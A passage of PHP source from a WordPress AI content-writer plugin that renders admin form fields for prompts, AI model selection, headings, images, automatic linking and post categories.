name="aiomatic_rules_list[outro_prompt][]" placeholder="Enter your outro prompts, one per line" class="cr_width_full">' . esc_textarea($outro_prompt) . '</textarea> </div> </td></tr> <tr class="hidetopic' . esc_html($cont) . '"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the AI Model to be used for the outro generator.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("AI Model For Outro Generator", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td class="cr_min_width_200"> <select autocomplete="off" name="aiomatic_rules_list[topic_outro_model][]" class="hideAssistant' . esc_html($cont) . ' cr_width_full">'; if(empty($topic_outro_model)) { $topic_outro_model = AIOMATIC_DEFAULT_MODEL; } foreach($all_models as $modelx) { $output .= '<option value="' . $modelx .'"'; if ($topic_outro_model == $modelx) { $output .= " selected"; } else { $output .= (($assistant_id != '') ? ' disabled ' : ''); } $output .= '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } $output .= '</select> </div> </td></tr> <tr class="hidetopic' . esc_html($cont) . '"><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Prompt to be used for the Post Excerpt. You can use the following shortcodes: %%title%%, %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Excerpt Prompt", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <textarea rows="2" cols="70" name="aiomatic_rules_list[excerpt_prompt][]" placeholder="Enter your excerpt prompts, one per line" class="cr_width_full">' . esc_textarea($excerpt_prompt) . '</textarea> </div> </td></tr> <tr class="hidetopic' . esc_html($cont) . '"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the AI Model to be used for the excerpt generator.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("AI Model For Excerpt Generator", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td class="cr_min_width_200"> <select autocomplete="off" name="aiomatic_rules_list[topic_excerpt_model][]" class="hideAssistant' . esc_html($cont) . ' cr_width_full">'; if(empty($topic_excerpt_model)) { $topic_excerpt_model = AIOMATIC_DEFAULT_MODEL; } foreach($all_models as $modelx) { $output .= '<option value="' . $modelx .'"'; if ($topic_excerpt_model == $modelx) { $output .= " selected"; } else { $output .= (($assistant_id != '') ? ' disabled ' : ''); } $output .= '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } $output .= '</select> </div> </td></tr> <tr class="hidetopic' . esc_html($cont) . '"><td colspan="2"><h4>' . esc_html__('Advanced Prompting Options', 'aiomatic-automatic-ai-content-writer') . ':</h4></td></tr> <tr class="hidetopic' . esc_html($cont) . '"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Run regex on prompts. To disable this feature, leave this field blank. No Regex separators are required here. You can add multiple Regex expressions, each on a different line.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Run Regex On Prompts", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <textarea rows="1" class="cr_width_full" name="aiomatic_rules_list[strip_by_regex_prompts][]" placeholder="regex" class="cr_width_full">' . esc_textarea($strip_by_regex_prompts) . '</textarea> </div> </td></tr><tr class="hidetopic' . esc_html($cont) . '"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Replace the above regex matches with this regex expression. If you want to strip matched content from prompts, leave this field blank. No Regex separators are required here. You can add multiple replacement expressions, each on a different line.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Replace Matches From Regex (Prompts)", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <textarea rows="1" class="cr_width_full" name="aiomatic_rules_list[replace_regex_prompts][]" placeholder="regex replacement" class="cr_width_full">' . esc_textarea($replace_regex_prompts) . '</textarea> </div> </td></tr><tr class="hidetopic' . esc_html($cont) . '"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select on which prompts do you want to run the above Regex. Possible values are (or any of their combinations): title, intro, sections, content, outro, excerpt", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Run Above Regex On Prompts", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input id="run_regex_on' . esc_html($cont) . '" name="aiomatic_rules_list[run_regex_on][]" type="text" list="run_regex_on_list' . esc_html($cont) . '" class="coderevolution_gutenberg_input" value="' . esc_attr($run_regex_on) . '"/> <datalist id="run_regex_on_list' . esc_html($cont) . '"> <option value="title">title</option> <option value="intro">intro</option> <option value="sections">sections</option> <option value="content">content</option> <option value="qa">Q&A</option> <option value="outro">outro</option> <option value="excerpt">excerpt</option> </datalist> </div> </td></tr> <tr class="hidetitle' . esc_html($cont) . '"><td colspan="2"><h3>' . esc_html__('Title Based Posting Options', 'aiomatic-automatic-ai-content-writer') . ':</h3></td></tr> <tr class="hidetitle' . esc_html($cont) . '"><td colspan="2"><h4>' . esc_html__('Post Content - AI Text Generator Options', 'aiomatic-automatic-ai-content-writer') . ':</h4></td></tr><tr class="hidetitle' . esc_html($cont) . '"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the AI Model to be used for the text generator.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("AI Model For The Text Generator", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td class="cr_min_width_200"> <select autocomplete="off" id="model" name="aiomatic_rules_list[model][]" class="hideAssistant' . esc_html($cont) . ' cr_width_full">'; if(empty($model)) { $model = AIOMATIC_DEFAULT_MODEL; } foreach($all_models as $modelx) { $output .= '<option value="' . $modelx .'"'; if ($model == $modelx) { $output .= " selected"; } else { $output .= (($assistant_id != '') ? ' disabled ' : ''); } $output .= '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } $output .= '</select> </div> </td></tr> <tr class="hidetitle' . esc_html($cont) . '"><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Set list of prompt commands (one on each line) you want to send to AI. This command can be any given task or order, based on which, it will generate content for posts. You can use the following shortcodes here: %%post_title%%, %%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, %%blog_title%%. You can also add a link to a TXT file, containing keywords (one per line), or to an RSS feed. If you use RSS feeds, you can also use the following additional shortcodes: %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%author_name%%, %%current_date_time%%, %%post_link%%. The length of this command should not be greater than the max token count set in the settings for the prompt command - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You can also add here a link to a .txt file, where you can add multiple prompts (one per line) and the plugin will select a random one at each run.", 'aiomatic-automatic-ai-content-writer') . ' ' . sprintf( wp_kses( __( "Please check some tips and tricks about writing prompt commands, <a href='%s' target='_blank'>here</a>.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), 'https://coderevolution.ro/knowledge-base/faq/how-to-create-a-good-seed-prompt-command-for-aiomatic-for-openai-gpt-3-api/' ) . ' </div> </div> <b>' . esc_html__("Prompt For The AI Text Generator", 'aiomatic-automatic-ai-content-writer') . ':</b> <b><a href="https://coderevolution.ro/knowledge-base/faq/how-to-create-a-good-seed-prompt-command-for-aiomatic-for-openai-gpt-3-api/" target="_blank">ⓘ</a></b> </td><td> <textarea rows="2" cols="70" name="aiomatic_rules_list[ai_command][]" placeholder="Please insert a command for the AI" class="cr_width_full">' . esc_textarea($ai_command) . '</textarea> </div> </td></tr><tr class="hidetitle' . esc_html($cont) . '"><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . sprintf( wp_kses( __( "Select the minimum number of characters that the posts should have. If the API returns content which has fewer characters than this number, another API call will be made, until this character limit is met. Please check about API rate limiting <a href='%s'>here</a>.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), 'https://beta.openai.com/docs/api-reference/introduction' ) . ' </div> </div> <b>' . esc_html__("AI Content Minimum Character Count", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="number" min="1" step="1" name="aiomatic_rules_list[min_char][]" value="' . esc_attr($min_char) . '" placeholder="Please insert a minimum number of characters" class="cr_width_full"> </div> </td></tr> <tr class="hidetitle' . esc_html($cont) . '"><td colspan="2"><h4>' . esc_html__('Post Title - AI Text Generator Options (%%ai_generated_title%% shortcode)', 'aiomatic-automatic-ai-content-writer') . ':<div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("The %%ai_generated_title%% shortcode can be used in the 'Post Title List / TXT File URL / RSS Feed URL' settings field, to get partial or fully AI generated titles.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div></h4></td></tr> <tr class="hidetitle' . esc_html($cont) . '"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the AI Model to be used for the title text generator. You can add this to the post titles, using the %%ai_generated_title%% shortcode.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("AI Model For The Title Text Generator", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td class="cr_min_width_200"> <select autocomplete="off" name="aiomatic_rules_list[title_model][]" class="hideAssistant' . esc_html($cont) . ' cr_width_full">'; if(empty($title_model)) { $title_model = AIOMATIC_DEFAULT_MODEL; } foreach($all_models as $modelx) { $output .= '<option value="' . $modelx .'"'; if ($title_model == $modelx) { $output .= " selected"; } else { $output .= (($assistant_id != '') ? ' disabled ' : ''); } $output .= '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } $output .= '</select> </div> </td></tr> <tr class="hidetitle' . esc_html($cont) . '"><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Set list of prompt commands (one on each line) you want to send to AI title text generator. This command can be any given task or order, based on which, it will generate content for posts. You can use the following shortcodes here: %%post_title%%, %%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, %%blog_title%%. You can also add a link to a TXT file, containing keywords (one per line), or to an RSS feed. If you use RSS feeds, you can also use the following additional shortcodes: %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%author_name%%, %%current_date_time%%, %%post_link%%. The length of this command should not be greater than the max token count set in the settings for the prompt command - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You can also add here a link to a .txt file, where you can add multiple prompts (one per line) and the plugin will select a random one at each run. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer') . ' ' . sprintf( wp_kses( __( "Please check some tips and tricks about writing prompt commands, <a href='%s' target='_blank'>here</a>.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), 'https://coderevolution.ro/knowledge-base/faq/how-to-create-a-good-seed-prompt-command-for-aiomatic-for-openai-gpt-3-api/' ) . ' </div> </div> <b>' . esc_html__("Prompt For The AI Title Text Generator", 'aiomatic-automatic-ai-content-writer') . ':</b> <b><a href="https://coderevolution.ro/knowledge-base/faq/how-to-create-a-good-seed-prompt-command-for-aiomatic-for-openai-gpt-3-api/" target="_blank">ⓘ</a></b> </td><td> <textarea rows="2" cols="70" name="aiomatic_rules_list[title_ai_command][]" placeholder="Please insert a command for the AI" class="cr_width_full">' . esc_textarea($title_ai_command) . '</textarea> </div> </td></tr><tr class="hidetitle' . esc_html($cont) . '"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the source of the post title. If you select AI generated, the plugin will create an AI generated title based on keywords you enter in the 'Post Title List' settings field. Otherwise, it will use the titles listed there, for the created posts.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Post Title Source", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td class="cr_min_width_200"> <select autocomplete="off" id="title_source" name="aiomatic_rules_list[title_source][]" class="cr_width_full"> <option value="keyword"'; if ($title_source == 'keyword') { $output .= ' selected'; } $output .= '>' . esc_html__("Use The Titles From The 'Post Title List' Settings Field", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="ai"'; if ($title_source == 'ai') { $output .= ' selected'; } $output .= '>' . esc_html__("Fully AI Generated Titles", 'aiomatic-automatic-ai-content-writer') . '</option> </select> </div> </td></tr><tr class="hidetitle' . esc_html($cont) . '"><td colspan="2"><h4>' . esc_html__('Rich Content Creation Options', 'aiomatic-automatic-ai-content-writer') . ':</h4></td></tr> <tr class="hidetitle' . esc_html($cont) . '"><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Set the maximum number of related headings to add to the created post content. This feature will use the 'People Also Ask' feature from Google and Bing. By default, the Bing engine is scraped, if you want to enable also Google scraping, add a SerpAPI key in the plugin's 'Settings' menu -> 'SerpAPI API Key' settings field.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Maximum Number Of Related Headings to Add To The Content", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="number" min="0" name="aiomatic_rules_list[headings][]" value="' . esc_attr($headings) . '" placeholder="Maximum headings count" class="cr_width_full"> </div> </td></tr><tr class="hidetitle' . esc_html($cont) . '"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the AI Model to be used for the headings generator.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("AI Model For The Headings Generator", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td class="cr_min_width_200"> <select autocomplete="off" name="aiomatic_rules_list[headings_model][]" class="hideAssistant' . esc_html($cont) . ' cr_width_full">'; if(empty($headings_model)) { $headings_model = AIOMATIC_DEFAULT_MODEL; } foreach($all_models as $modelx) { $output .= '<option value="' . $modelx .'"'; if ($headings_model == $modelx) { $output .= " selected"; } else { $output .= (($assistant_id != '') ? ' disabled ' : ''); } $output .= '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } $output .= '</select> </div> </td></tr> <tr class="hidetitle' . esc_html($cont) . '"><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Set the prompt you will use when searching for related headings. You can use the following shortcodes: %%post_title%%, %%needed_heading_count%%. The same model will be used, as the one selected for content creation. If you leave this field blank, the default prompt will be used: 'Write %%needed_heading_count%% PAA related questions, each on a new line, for the title: %%post_title%%' You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Related Headings AI Generator Prompt", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <textarea rows="2" cols="70" name="aiomatic_rules_list[headings_ai_command][]" placeholder="Write %%needed_heading_count%% PAA related questions, each on a new line, for the title: %%post_title%%" class="cr_width_full">' . esc_textarea($headings_ai_command) . '</textarea> </div> </td></tr> <tr class="hidetitle' . esc_html($cont) . '"><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Set the maximum number of related images to add to the created post content. This feature will use the royalty free image sources configured in the plugin's 'Settings' menu or if you have access to the DallE API.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Maximum Number Of Related Images to Add To The Content", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="number" min="0" name="aiomatic_rules_list[images][]" value="' . esc_attr($images) . '" placeholder="Maximum image count" class="cr_width_full"> </div> </td></tr> <tr class="hidetitle' . esc_html($cont) . '"><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Add a related YouTube video to the end of to the created post content. This feature will require you to add at least one YouTube API key in the plugin's 'Settings' -> 'YouTube API Key List' settings field.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Add A Related Video To The End Of The Post", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="checkbox" id="videos" name="aiomatic_rules_list[videos][]"'; if ($videos == '1') { $output .= ' checked'; } $output .= '> </div> </td></tr> <tr class="hidetitle' . esc_html($cont) . '"><td colspan="2"><h4>' . esc_html__('Manual Headings and Images List', 'aiomatic-automatic-ai-content-writer') . ':</h4></td></tr> <tr class="hidetitle' . esc_html($cont) . '"><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Add a list of headings (one on each line) to use in the generated articles. You can use the following shortcodes here: %%post_title%%, %%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, %%blog_title%%. - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins).", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Manual List Of Headings", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <textarea rows="2" cols="70" name="aiomatic_rules_list[headings_list][]" placeholder="Manual list of headings" class="cr_width_full">' . esc_textarea($headings_list) . '</textarea> </div> </td></tr> <tr class="hidetitle' . esc_html($cont) . '"><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Add a list of image URLs (one on each line) to use in the generated articles. - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins).", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Manual List Of Images", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <textarea rows="2" cols="70" name="aiomatic_rules_list[images_list][]" placeholder="Manual list of images" class="cr_width_full">' . esc_textarea($images_list) . '</textarea> </div> </td></tr> <tr><td colspan="2"><h3>' . esc_html__('Global Prompt Options', 'aiomatic-automatic-ai-content-writer') . ':</h3></td></tr> <tr class="hidetopic' . esc_html($cont) . '"><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("This will be prepended to each prompt sent by the plugin to the AI writer. You can use the following shortcodes: %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%title%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Prepend Text To All Textual AI Prompts", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <textarea rows="2" cols="70" name="aiomatic_rules_list[global_prepend][]" placeholder="Global prompt prepend text" class="cr_width_full">' . esc_textarea($global_prepend) . '</textarea> </div> </td></tr> <tr class="hidetopic' . esc_html($cont) . '"><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("This will be appended to each prompt sent by the plugin to the AI writer. You can use the following shortcodes: %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%title%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Append Text To All Textual AI Prompts", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <textarea rows="2" cols="70" name="aiomatic_rules_list[global_append][]" placeholder="Global prompt append text" class="cr_width_full">' . esc_textarea($global_append) . '</textarea> </div> </td></tr> <tr><td colspan="2"><h3>' . esc_html__('Automatic Linking Options', 'aiomatic-automatic-ai-content-writer') . ':</h3></td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the linking method to use in posts.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Automatic Linking Type", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <select autocomplete="off" class="cr_width_full" id="link_type' . esc_html($cont) . '" onchange="hideLinks(' . esc_html($cont) . ');" name="aiomatic_rules_list[link_type][]"> <option value="disabled"'; if ($link_type == 'disabled') { $output .= ' selected'; } $output .= '>' . esc_html__("Disabled", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="internal"'; if ($link_type == 'internal') { $output .= ' selected'; } $output .= '>' . esc_html__("Internal Links", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="manual"'; if ($link_type == 'manual') { $output .= ' selected'; } $output .= '>' . esc_html__("Manual Links", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="mixed"'; if ($link_type == 'mixed') { $output .= ' selected'; } $output .= '>' . esc_html__("Mixed Links", 'aiomatic-automatic-ai-content-writer') . '</option> </select> </div> </td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Set the maximum number of automatic links to add to created posts. You can also define custom ranges, like: 3-5. Please note that this feature will work best if you already have a considerable number of posts published on your site, which will be used for internal linking.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Maximum Number Of Automatic Links To Add To The Post Content", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="text" name="aiomatic_rules_list[max_links][]" placeholder="Add the number of links to enable this feature" class="cr_width_full" value="' . esc_attr($max_links) . '"> </div> </td></tr> <tr class="hidelinks' . esc_html($cont) . '"><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Enter a manual list of links, where the plugin will create links.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Manual List Of URLs (One Per Line)", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <textarea rows="1" cols="70" name="aiomatic_rules_list[link_list][]" placeholder="URL list (one per line)" class="cr_width_full">' . esc_textarea($link_list) . '</textarea> </div> </td></tr> <tr class="hidelinks' . esc_html($cont) . '"><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Do you want to add nofollow attribute to manually entered, external links?", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Add Nofollow Attribute To Manual Links", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="checkbox" name="aiomatic_rules_list[link_nofollow][]"'; if($link_nofollow == '1') { $output .= ' checked'; } $output .= '> </div> </td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Set the post types where to create automatic links in posts. You can also add a comma separated list of multiple post types.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Post Types Where To Generate Automatic Links", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="text" name="aiomatic_rules_list[link_post_types][]" placeholder="post" class="cr_width_full" value="' . esc_attr($link_post_types) . '"> </div> </td></tr> <tr><td colspan="2"><h3>' . esc_html__('Post Category Options', 'aiomatic-automatic-ai-content-writer') . ':</h3></td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Do you want to automatically add post categories from the feed items?", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Auto Add Categories", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <select autocomplete="off" class="cr_width_full" id="auto_categories" name="aiomatic_rules_list[auto_categories][]"> <option value="disabled"'; if ($auto_categories == 'disabled') { $output .= ' selected'; } $output .= '>' . esc_html__("Disabled", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="ai"'; if ($auto_categories == 'ai') { $output .= ' selected'; } $output .= '>' . esc_html__("AI Generated", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="title"'; if ($auto_categories == 'title') { $output .= ' selected'; } $output .= '>' . esc_html__("Title", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="content"'; if ($auto_categories == 'content') { $output .= ' selected'; } $output .= '>' . esc_html__("Content", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="both"'; if ($auto_categories == 'both') { $output .= ' selected'; } $output .= '>' . esc_html__("Title and Content", 'aiomatic-automatic-ai-content-writer') . '</option> </select> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the AI Model to be used for the category generator. You can add this to the post categories, if you select 'AI Generated Categories' in the 'Auto Add Categories' settings field.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("AI Model For The Category Generator", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td class="cr_min_width_200"> <select autocomplete="off" name="aiomatic_rules_list[category_model][]" class="hideAssistant' . esc_html($cont) . ' cr_width_full">'; if(empty($category_model)) { $category_model = AIOMATIC_DEFAULT_MODEL; } foreach($all_models as $modelx) { $output .= '<option value="' . $modelx .'"'; if ($category_model == $modelx) { $output .= " selected"; } else { $output .= (($assistant_id != '') ? ' disabled ' : ''); } $output .= '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } $output .= '</select> </div> </td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Set list of prompt commands (one on each line) you want to send to AI category generator. You can use the following shortcodes here: %%post_title%%, %%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, %%blog_title%%. You can also add a link to a TXT file, containing keywords (one per line), or to an RSS feed. If you use RSS feeds, you can also use the following additional shortcodes: %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%author_name%%, %%current_date_time%%, %%post_link%%. The length of this command should not be greater than the max token count set in the settings for the prompt command - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You can also add here a link to a .txt file, where you can add multiple prompts (one per line) and the plugin will select a random one at each run. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer') . ' ' . sprintf( wp_kses( __( "Please check some tips and tricks about writing prompt commands, <a href='%s' 